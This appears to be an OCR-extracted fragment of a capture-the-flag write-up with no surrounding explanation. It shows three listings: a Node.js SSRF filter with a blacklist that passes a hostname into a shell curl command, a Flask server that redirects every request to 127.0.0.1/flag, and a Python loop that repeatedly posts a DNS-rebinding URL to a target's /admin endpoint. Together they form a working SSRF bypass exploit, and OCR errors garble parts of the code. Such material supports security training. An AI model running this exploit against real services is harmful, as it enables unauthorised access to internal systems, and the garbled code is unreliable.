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1 const checkip = 1 function (value) {

2 let pattern = /"\d{1,3}(\.\d{1,3}){3}S/;

3 if (!pattern.exec(value))

4 return false;

5 let ary = value.split('.');

6

7 for(let key in ary)

8 {

9 if (parselnt(ary[key]) > 255)

10 return false;

11 }

12 return true ;

13}

14

15 const dnslookup = function(s) {

16 if (typeof (s) == 'string' && !s.match(/["\w-.]/)) {
17 let query = '';

18 try {

19 query = JSON.parse (cp.execSync (' curl http://ipapi.com/json/S{s}")) .query
20 } catch (e) {

21 return 'wrong'

22 }

23 return checkip(query) ? query : 'wrong'

24 } else return 'wrong'

25}

26

27 const check = function(s) {

28 if (!typeof (s) == 'string' || !s.match(/*http\:\/\//))
29 return false

30 let blacklist = ['wrong', '127.', 'local', '@', 'flag']
31 let host, port, dns;

32 host = url.parse(s).hostname

33 port = url.parse(s).port

34 if ( host == null || port == null)

35 return false

36 dns = dnslookup (host) ;
37 if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes (port) )

38 return false

39 for (let i = 0; i < blacklist.length; i++)

40 {

41 let regex = new RegExp (blacklist([i], 'i');,
42 try {

43 if (ip.fromLong (s.replace (/[*\d]/g,"'").substr(0,10)) .match (regex) )
44 return false

45 } catch (e) {}

46 if (s.match (regex))

47 return false

48 }

49 return true

50}
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1 from flask import Flask

2app = Flask(__name )

3 @app.route('/', methods=["GET","POST"])

4def bb():

5 return "login fail"”, 301, [("Location", "http://127.0.0.1/flag")]
6 app.run("0.0.0.0", port=40001)
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1 import requests as req
2s = req.session()
3url = "http://101.x.x.x:12311/admin"

4data = {
5 "fileurl” : "http://dns.rebinding.com:40001/"
6}

7while True:
8 print(s.post (url=url, data=data).text)
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